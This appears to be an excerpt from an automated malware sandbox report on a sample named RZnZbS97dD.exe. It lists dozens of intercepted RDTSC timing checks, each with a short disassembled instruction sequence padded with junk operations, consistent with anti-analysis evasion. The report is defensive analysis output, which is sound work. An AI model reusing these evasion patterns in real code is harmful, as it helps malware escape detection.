Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 319EE1 second address: 319EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 319EE7 second address: 319EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 32C2E8 second address: 32C30D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FC6DD698E5Eh 0x0000000b jnc 00007FC6DD698E56h 0x00000011 popad 0x00000012 pushad 0x00000013 jo 00007FC6DD698E56h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 32C00B second address: 32C022 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3402AE second address: 3402BF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC6DD698E5Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3402BF second address: 3402C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3402C5 second address: 3402CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 340617 second address: 34063E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC6DD08F796h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FC6DD08F7A3h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34063E second address: 340667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FC6DD698E5Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC6DD698E5Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 340667 second address: 34066B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34066B second address: 340677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC6DD698E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 340677 second address: 34067E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34067E second address: 340684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3407FF second address: 34080B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34080B second address: 34080F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34080F second address: 340829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC6DD08F796h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jbe 00007FC6DD08F796h 0x00000013 jg 00007FC6DD08F796h 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 340829 second address: 340830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 341074 second address: 34107A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34107A second address: 34107E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34107E second address: 341097 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jne 00007FC6DD08F796h 0x00000011 pop ecx 0x00000012 popad 0x00000013 push ebx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3411DA second address: 3411E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC6DD698E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3411E4 second address: 3411EE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 345765 second address: 34576C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34576C second address: 345772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 345772 second address: 345776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3458BA second address: 3458DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jmp 00007FC6DD08F7A3h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3458DC second address: 3458E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3458E9 second address: 3458ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3458ED second address: 3458FB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3458FB second address: 34590B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 34590B second address: 34591A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 345B3E second address: 345B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD08F7A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 3474ED second address: 3474F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 347033 second address: 347075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007FC6DD08F7B4h 0x0000000e jp 00007FC6DD08F7A2h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 347075 second address: 34707F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC6DD698E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2677AE second address: 2677B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2677B2 second address: 2677BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2679D7 second address: 2679F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 267BDF second address: 267BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48102FF second address: 4810331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bl, 83h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FC6DD08F7A4h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FC6DD08F79Ch 0x00000019 mov edx, ecx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810331 second address: 481039C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 35810290h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FC6DD698E65h 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushad 0x00000017 mov eax, 4A0A1E69h 0x0000001c mov eax, 1A9D3825h 0x00000021 popad 0x00000022 mov edx, eax 0x00000024 popad 0x00000025 mov edx, dword ptr [ebp+0Ch] 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ecx, edi 0x0000002d pushfd 0x0000002e jmp 00007FC6DD698E65h 0x00000033 or si, 3926h 0x00000038 jmp 00007FC6DD698E61h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 481039C second address: 48103AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD08F79Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48103AC second address: 48103B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48103B0 second address: 48103F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FC6DD08F7A8h 0x00000014 jmp 00007FC6DD08F7A5h 0x00000019 popfd 0x0000001a mov eax, 1B648617h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830794 second address: 483079A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 483079A second address: 48307D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov edx, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007FC6DD08F7A4h 0x00000012 mov ah, EEh 0x00000014 pop edx 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FC6DD08F79Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48307D0 second address: 48307D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48307D6 second address: 483088F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b call 00007FC6DD08F79Eh 0x00000010 pushfd 0x00000011 jmp 00007FC6DD08F7A2h 0x00000016 adc ax, A5E8h 0x0000001b jmp 00007FC6DD08F79Bh 0x00000020 popfd 0x00000021 pop esi 0x00000022 pushad 0x00000023 mov dx, 168Ah 0x00000027 popad 0x00000028 popad 0x00000029 push eax 0x0000002a pushad 0x0000002b mov dx, 3330h 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 pushfd 0x00000033 jmp 00007FC6DD08F7A5h 0x00000038 and si, F2B6h 0x0000003d jmp 00007FC6DD08F7A1h 0x00000042 popfd 0x00000043 popad 0x00000044 popad 0x00000045 xchg eax, ecx 0x00000046 pushad 0x00000047 mov esi, 37944043h 0x0000004c movzx eax, bx 0x0000004f popad 0x00000050 push ebp 0x00000051 jmp 00007FC6DD08F7A0h 0x00000056 mov dword ptr [esp], esi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FC6DD08F79Ah 0x00000062 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 483088F second address: 4830893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830893 second address: 4830899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830899 second address: 483089F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 483089F second address: 483090E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b jmp 00007FC6DD08F7A4h 0x00000010 nop 0x00000011 jmp 00007FC6DD08F7A0h 0x00000016 push eax 0x00000017 jmp 00007FC6DD08F79Bh 0x0000001c nop 0x0000001d jmp 00007FC6DD08F7A6h 0x00000022 push dword ptr [ebp+08h] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FC6DD08F7A7h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830937 second address: 483093D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 483093D second address: 483099E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e call 00007FC6DD08F79Ah 0x00000013 jmp 00007FC6DD08F7A2h 0x00000018 pop esi 0x00000019 popad 0x0000001a mov esi, eax 0x0000001c jmp 00007FC6DD08F7A1h 0x00000021 je 00007FC6DD08F7E1h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FC6DD08F79Dh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 483099E second address: 48309AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD698E5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48309F5 second address: 48309FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820070 second address: 48200AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 mov cl, dl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push esi 0x0000000e mov cx, di 0x00000011 pop ebx 0x00000012 jmp 00007FC6DD698E5Eh 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FC6DD698E67h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48200AC second address: 48200D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6DD08F7A8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48200D1 second address: 482014B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC6DD698E61h 0x00000009 adc esi, 7BB43226h 0x0000000f jmp 00007FC6DD698E61h 0x00000014 popfd 0x00000015 mov ecx, 59DC6F57h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f mov bx, cx 0x00000022 pushfd 0x00000023 jmp 00007FC6DD698E64h 0x00000028 and cx, 76F8h 0x0000002d jmp 00007FC6DD698E5Bh 0x00000032 popfd 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 jmp 00007FC6DD698E62h 0x0000003d mov ch, 22h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 482014B second address: 4820172 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 658976E9h 0x00000008 mov edi, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC6DD08F7A7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820172 second address: 4820178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820178 second address: 48201AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007FC6DD08F7A6h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov edx, ecx 0x00000017 mov bx, cx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48201AA second address: 48201B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48201B0 second address: 48201B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48201B4 second address: 48201F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c pushad 0x0000000d push esi 0x0000000e push ebx 0x0000000f pop esi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FC6DD698E5Ah 0x00000019 and al, 00000008h 0x0000001c jmp 00007FC6DD698E5Bh 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820224 second address: 48202D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 jmp 00007FC6DD08F79Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d sub edi, edi 0x0000000f jmp 00007FC6DD08F7A7h 0x00000014 inc ebx 0x00000015 pushad 0x00000016 movzx eax, dx 0x00000019 pushfd 0x0000001a jmp 00007FC6DD08F7A1h 0x0000001f or ax, 2E96h 0x00000024 jmp 00007FC6DD08F7A1h 0x00000029 popfd 0x0000002a popad 0x0000002b test al, al 0x0000002d jmp 00007FC6DD08F79Eh 0x00000032 je 00007FC6DD08F99Ah 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov bx, DCD0h 0x0000003f pushfd 0x00000040 jmp 00007FC6DD08F7A9h 0x00000045 or ax, 6156h 0x0000004a jmp 00007FC6DD08F7A1h 0x0000004f popfd 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820373 second address: 4820379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820379 second address: 482038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD08F79Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48203C7 second address: 4820452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FC6DD698F0Fh 0x0000000f pushad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop edx 0x00000013 pushfd 0x00000014 jmp 00007FC6DD698E66h 0x00000019 add si, 5B48h 0x0000001e jmp 00007FC6DD698E5Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007FC6DD698E68h 0x0000002b add ah, FFFFFFA8h 0x0000002e jmp 00007FC6DD698E5Bh 0x00000033 popfd 0x00000034 popad 0x00000035 cmp dword ptr [ebp-14h], edi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC6DD698E65h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820452 second address: 4820458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820458 second address: 482045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 482045C second address: 4820460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820460 second address: 48204B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FC74E8D6E89h 0x0000000e pushad 0x0000000f mov esi, edi 0x00000011 pushfd 0x00000012 jmp 00007FC6DD698E61h 0x00000017 adc si, D326h 0x0000001c jmp 00007FC6DD698E61h 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebx, dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov si, bx 0x0000002c jmp 00007FC6DD698E5Fh 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 48204B4 second address: 482050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c pushad 0x0000000d jmp 00007FC6DD08F79Ch 0x00000012 jmp 00007FC6DD08F7A2h 0x00000017 popad 0x00000018 xchg eax, esi 0x00000019 pushad 0x0000001a mov cl, 8Ch 0x0000001c mov esi, edi 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 call 00007FC6DD08F79Ch 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 482050D second address: 4820513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
